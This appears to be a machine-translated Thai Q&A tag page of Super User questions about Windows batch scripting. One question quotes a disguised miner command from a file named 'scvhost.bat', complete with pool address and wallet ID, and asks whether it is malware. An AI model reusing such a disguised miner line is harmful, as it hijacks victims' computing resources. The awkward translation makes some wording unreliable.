คำถามติดแท็ก batch-file

ชุดไฟล์เป็นไฟล์ข้อความที่มีชุดคำสั่งที่ดำเนินการโดยล่ามคำสั่งในระบบ MS-DOS, IBM OS / 2 หรือระบบ Microsoft Windows

4
วิธีแยกส่วนของสตริงในไฟล์แบตช์ของ Windows
สมมติว่าฉันมีค่าเช่น "Abc_123" ที่เก็บไว้ในตัวแปรในไฟล์ batch (cmd) ฉันต้องการที่จะจบลงด้วยตัวแปรที่มีเพียง "123" มีวิธีใดในตัวที่ทำเช่นนี้? ฉันไม่จู้จี้จุกจิกเกี่ยวกับวิธีการหรือประสิทธิภาพตราบใดที่มันติดตั้งในระบบ Windows (Vista / 2008) ทั่วไป

5
จะแยกรายการประเภทส่วนขยายทั้งหมดในไดเรกทอรีได้อย่างไร
ภายในไดเรกทอรีและเรียกซ้ำภายในไดเรกทอรีย่อยซึ่งหมายความว่าทุกไดเรกทอรีในไดเรกทอรีได้รับการประมวลผลฉันจะรวบรวมรายการทั้งหมดของส่วนขยายเฉพาะภายในไดเรกทอรีได้อย่างไร ระบบปฏิบัติการคือ Windows XP ที่มีการอัปเดตทั้งหมดในปัจจุบัน แต่ฉันก็ใช้งานสคริปต์ได้ถ้าฉันสามารถบอกได้ว่ามันทำอะไรอยู่แม้ว่าฉันจะไม่ต้องการติดตั้ง dot-net เนื่องจากฉันไม่ชอบมันจริงๆ

10
ฉันจะทำการ ping ทุก ๆ X นาทีและตรวจสอบเวลาตอบสนองได้อย่างไร
ฉันกำลังทำงานใน บริษัท ใหญ่และเรามีปัญหาเรื่องเวลาในการตอบสนองอย่างรุนแรง สิ่งนี้เกิดขึ้นในระบบควบคุมกระบวนการและไม่สามารถยอมรับได้ (เปิดวาล์วบางครั้งใช้เวลา 2 นาทีก่อนเริ่มต้นคำสั่ง) ฉันต้องการตรวจสอบอีกครั้งเมื่อทีมเครือข่ายแจ้งว่า "ทุกอย่างไม่เป็นไรบนเครือข่าย" ดังนั้นฉันต้องการสร้างวนรอบที่ pings เซิร์ฟเวอร์และเขียนผลลัพธ์ในไฟล์ข้อความ ฉันไม่ใช่ผู้เชี่ยวชาญด้านชุดงาน แต่คุณคิดว่ารหัสนี้ถูกต้องหรือไม่ @ECHO OFF :LOOPSTART time /T ping xxx.xx.x.x -t >> filename.txt sleep -m 3000 GOTO LOOPSTART

1
วิธีหนีสัญลักษณ์ท่อ ในค้างคาวสคริปต์?
ฉันต้องการ echo commad การใช้งานเช่นนี้ใน batch script ชื่อ command.bat command.bat on|off ฉันไม่สามารถใช้ echo %0 on|off ฉันรู้ว่าฉันสามารถใช้ echo "%0 on|off" แต่มันทำให้คำพูดพร้อม มีวิธีอื่น ๆ ?
26 pipe  echo  batch-file 

11
เหตุใด cmd จะไม่ออกหลังจากเรียกใช้งานไฟล์แบตช์
เหตุใด cmd จะไม่ออกหลังจากเรียกใช้งานไฟล์แบตช์ ฉันเหนื่อย: "C:\Program Files (x86)\Java\jre6\bin\javaw.exe" -Xmx1024M -Xms1024M -jar Jilko.jar และ @echo off "C:\Program Files (x86)\Java\jre6\bin\javaw.exe" -Xmx1024M -Xms1024M -jar Jilko.jar exit

6
ฉันจะนำซีดีออกด้วย cmd ได้อย่างไร
คำถามนี้ถูกโยกย้ายจาก Stack Overflow เพราะสามารถตอบได้ใน Super User อพยพ 4 ปีที่แล้ว ฉันพยายามที่จะขับซีดีไดรฟ์ด้วยการใช้คำสั่ง อย่างไรก็ตามฉันนิ่งงัน ค้นหาบนอินเทอร์เน็ตฉันพบคำตอบนี้เท่านั้น: eject D: และคำตอบที่คล้ายกัน eject D: /I ทั้งสองไม่ทำงาน แก้ไข ตอนนี้ผู้คนได้พบคำตอบนี้ใน superuser แล้ว Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection colCDROMs.Item(0).Eject อย่างไรก็ตามฉันได้รับข้อผิดพลาด: colCDROMS ไม่ได้รับการยอมรับว่าเป็นคำสั่งภายในหรือภายนอก, โปรแกรมที่ทำงานได้หรือไฟล์แบตช์

5
วิธีลบไฟล์จากโฟลเดอร์โดยใช้รายชื่อไฟล์ใน windows
ฉันมีโฟลเดอร์ที่มีไฟล์ 2K + อยู่ในนั้นฉันจำเป็นต้องลบประมาณ 200 ฉันมีไฟล์ txt ที่มีชื่อไฟล์ทั้งหมดที่ฉันต้องการลบออกจากรายการในรายการฉันจะลบไฟล์เฉพาะจากโฟลเดอร์โดยใช้รายการได้อย่างไร (ระบบปฏิบัติการคือ windows 7)

6
ฉันจะสะท้อนอักขระ TAB บนพรอมต์คำสั่งได้อย่างไร
ในแฟ้มแบตช์ windows วิธีที่เหมาะสมในการสะท้อนTABคืออะไร? echo A<TAB>B<TAB>C ฉันรู้ว่าฉันสามารถพิมพ์TABอักขระระหว่างรายการ แต่ผู้แก้ไขส่วนใหญ่จะแสดงเป็นลำดับของช่องว่าง บางคนจะแปลงเป็นช่องว่างโดยอัตโนมัติฉันกำลังมองหาสิ่งที่มองเห็น การชี้แจง: <TAB>ที่นี่หมายถึงอักขระแท็บที่แท้จริง ฉันกำลังมองหา C \ t ในชุดสคริปต์

3
บริการตัวแทนใหม่เริ่มทำงาน
ขณะนี้เราได้ติดตั้งไฟล์. BAT ซึ่งจะแสดงรายการบริการทั้งหมดเพื่อเริ่ม / หยุดพวกเขาเช่น SC start SERVICE SC start SERVICE SC stop SERVICE SC stop SERVICE เราเพิ่มบริการใหม่ตลอดเวลาและรายการเติบโตและยากที่จะรักษาไฟล์แบตช์ เป็นไปได้ไหมที่จะใช้ WILDCARD เช่น 'SC start SERVICE *' หรืออะไรบางอย่าง

6
การใช้วันที่และเวลาในแบตช์ไฟล์เพื่อสร้างชื่อไฟล์
ฉันใช้งานโปรแกรมจากแฟ้มแบตช์ซึ่งเมื่อเสร็จสิ้นแล้วจะทำการสำรองข้อมูลอัตโนมัติของฐานข้อมูล MySQL ของฉัน ฉันต้องการแบตช์ไฟล์เพื่อสร้างการสำรองข้อมูลที่แตกต่างกันสำหรับการทำงานแต่ละครั้งดังนั้นฉันสามารถย้อนกลับได้ ชื่อไฟล์ที่ต้องการจะเป็น gnucash_shockwave-20121128210344.sql (รูปแบบวันที่ YYYY-MM-DD-HH-MM-SS) ฉันลองทำบางสิ่งที่บอกว่าลอง%DATE:~4%แล้ว%Date.Year%แต่ได้รับข้อผิดพลาดที่แจ้งThe system cannot find the specified path. หากฉันลบความพยายามในการประทับเวลาสคริปต์ทำงานได้ดี แต่เขียนทับข้อมูลสำรองก่อนหน้า นี่คือส่วนของรหัสที่ฉันพูดถึง: @REM *** EXECUTION *** echo. Starting backup... SET timestamp %DATE:~-4%%DATE:~4,2%%DATE:~7,2%%TIME% %mysqldir%\mysqldump -u %mysqluser% -p%mysqlpassword% -h %mysqlhost% -P %mysqlport% --databases --routines --verbose gnucash_shockwave > %BackupDir%\gnucash_shockwave-%timestamp%.sql echo.------------------------------------------------------ echo. Backup complete! ข้อเสนอแนะใด ๆ

6
เปลี่ยนไดเร็กทอรีชั่วคราวสำหรับคำสั่งแบตช์ไฟล์เดียว
ในการเขียนสคริปต์เชลล์หากฉันต้องการเรียกใช้คำสั่งจากไดเรกทอรีฉันสามารถใช้ subshell เพื่อให้แน่ใจว่าฉันกลับสู่บริบทดั้งเดิม: (cd temporary/new/directory ; command) # now I am still in original directory สามารถทำได้ใน Windows batch-files (หรือ cmd-files) การทำเช่นเดียวกันในไฟล์ชุดทำให้ฉันอยู่ในไดเรกทอรีใหม่ ที่ฉันสามารถทำได้: pushd temporary\new\directory && command && popd แต่ popd commandจะขึ้นอยู่กับความสำเร็จของ ความคิดใด ๆ

1
นี่คือ scvhost.bat ที่มี cryptonight ไวรัสหรือคนขุดแร่หรือไม่?
ฉันเพิ่งพบไฟล์. bat นี้ชื่อ scvhost.bat ไฟล์มีเนื้อหานี้อยู่: scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02 นี่เป็นไวรัส (เพื่อขโมยข้อมูล ฯลฯ ) หรือนักขุดที่ปลูกหรือไม่ ฉันเป็นห่วงเพราะฉันยังตะลุยสกุลเงินดิจิตอลและstratumเป็นสกุลเงินที่กล่าวถึงในไฟล์ด้านบน

2
หน้าต่าง CMD จะไม่ปิดหากโฟลเดอร์ถูกปิดระหว่างการประมวลผลไฟล์ bat
ฉันมีเครื่องเสมือน Server 2012 R2 Standard 64 บิตที่ทำหน้าที่แปลก ไฟล์ Bat ทำงานได้ดีและหน้าต่าง CMD ปิดตามปกติ แต่ถ้าโฟลเดอร์ที่มีไฟล์ bat ถูกปิดระหว่างการทำงานของไฟล์ bat มันจะเสร็จสิ้น แต่หน้าต่าง CMD จะไม่ปิด ฉันทำให้สิ่งนี้ง่ายขึ้นจนถึงจุดที่มีไฟล์ bat ที่เป็นไปได้ง่ายที่สุด มันมี 1 บรรทัด หยุด เปิดโฟลเดอร์ที่มีไฟล์ bat ด้วย Windows Explorer เริ่มต้นไฟล์ bat โดยดับเบิลคลิกที่ไฟล์ ปิดหน้าต่าง Windows Explorer กดปุ่มใด ๆ ในหน้าต่าง CMD เคอร์เซอร์ย้ายไปที่บรรทัดถัดไปเมื่อไฟล์ bat เสร็จสิ้น หน้าต่าง CMD ยังคงอยู่ สิ่งนี้เกิดขึ้นในเครื่องเดียวเท่านั้น มีใครรู้บ้างไหมว่าทำไมถึงเป็นเช่นนั้น …

6
ฉันจะเปิดแอปพลิเคชันคอนโซลที่มีขนาดหน้าต่างที่กำหนดได้อย่างไร
แอปพลิเคชันที่ฉันต้องการเริ่มต้นคือ MongoDB หากฉันจะเริ่มต้นตามปกติดูเหมือนว่า: ฉันไม่ชอบจำนวนการขึ้นบรรทัดใหม่และมีพื้นที่หน้าจอจำนวนมากดังนั้นฉันต้องการใช้พื้นที่ดังกล่าวเพื่อกำจัดการขึ้นบรรทัดใหม่ ฉันสามารถเปลี่ยนขนาดของหน้าต่างคอนโซลด้วยMODEดังนั้นฉันจึงเขียนไฟล์แบทช์ดังนี้: @ECHO OFF MODE con:cols=140 lines=70 %~dp0mongodb\bin\mongod --dbpath %~dp0data --rest จนถึงตอนนี้ดีมาก เมื่อฉันเริ่มแบตช์ไฟล์นี้ฉันจะได้หน้าต่างที่ใหญ่ขึ้นตามที่ต้องการ แต่เมื่อฉันกดCtrl+ Cเพื่อออกจาก MongoDB ฉันได้รับพรอมต์ที่น่ารำคาญ: Terminate batch job (Y/N)? ซึ่งไม่มีประโยชน์เพราะคำสั่งที่ฉันเพิ่งออกจากคือคำสั่งสุดท้ายในงานแบตช์อยู่แล้วและไม่ว่าฉันจะตอบอะไรผลลัพธ์ก็เหมือนกัน ดังนั้นฉันจะได้รับหน้าต่างคอนโซลที่ใหญ่ขึ้นสำหรับแอปพลิเคชันโดยไม่แจ้งให้ทราบเมื่อฉันกดCtrl+ Cอย่างไร

1
ฉันสามารถป้องกันการเปลี่ยนไอคอนซ้อนทับได้หรือไม่
พื้นหลัง หลายโปรแกรมปรับเปลี่ยนไอคอนใน explorere เพื่อระบุสถานะ ("ซิงก์" เป็นต้น) มันเป็นความจริงที่รู้จักกันดีว่า Windows (win7, win8, win10?) สามารถจัดการไอคอนดังกล่าวในจำนวนที่ จำกัด (~ 15) และมีคำถามที่เกี่ยวข้องมากมาย (fe ที่นี่ ) โอเวอร์เลย์ไอคอนเหล่านี้มีการลงทะเบียนในรีจิสตรีในสาขา: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers มีเพียงการใช้งานสองรายการแรกเท่านั้น (15?) รายการอื่น ๆ จะถูกละเว้น ดังนั้นการมีหลายโปรแกรมติดตั้งไอคอนซ้อนทับของตัวเองอาจทำให้พฤติกรรมของโปรแกรมที่ติดตั้งแล้วเสียหาย เพื่อแก้ไขปัญหานี้มักจะต้องเข้าไปในรีจิสทรีและลบ (หรือเปลี่ยนชื่อ) รายการที่ไม่ต้องการจนกว่าคนที่ต้องการอยู่ด้านบน ปัญหา เมื่อเร็ว ๆ นี้ฉันสังเกตเห็นว่าพฤติกรรม 'ก้าวร้าว' ของหลาย ๆ โปรแกรมต่อสู้เพื่อตำแหน่งสูงสุดเหล่านี้ สิ่งนี้กระทำได้บ่อยที่สุดโดยมีชื่อคีย์ซึ่งขึ้นต้นด้วยอักขระช่องว่างสีขาวเพื่อบังคับใช้การเรียงลำดับบนสุด Dropbox , GoogleDrive , SkyDriveและOneDriveเป็นตัวอย่างทั้งหมดที่ทำเช่นนี้ บางอย่างเช่นGoogleDriveใช้พื้นที่สีขาวสามครั้งในปัจจุบัน แต่โปรแกรมอื่น ๆ มีความเท่าเทียมกัน ... อะไรคือสิ่งที่เลวร้ายกว่าบางโปรแกรมซ่อมแซมการตั้งค่านี้โดยอัตโนมัติในระหว่าง …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.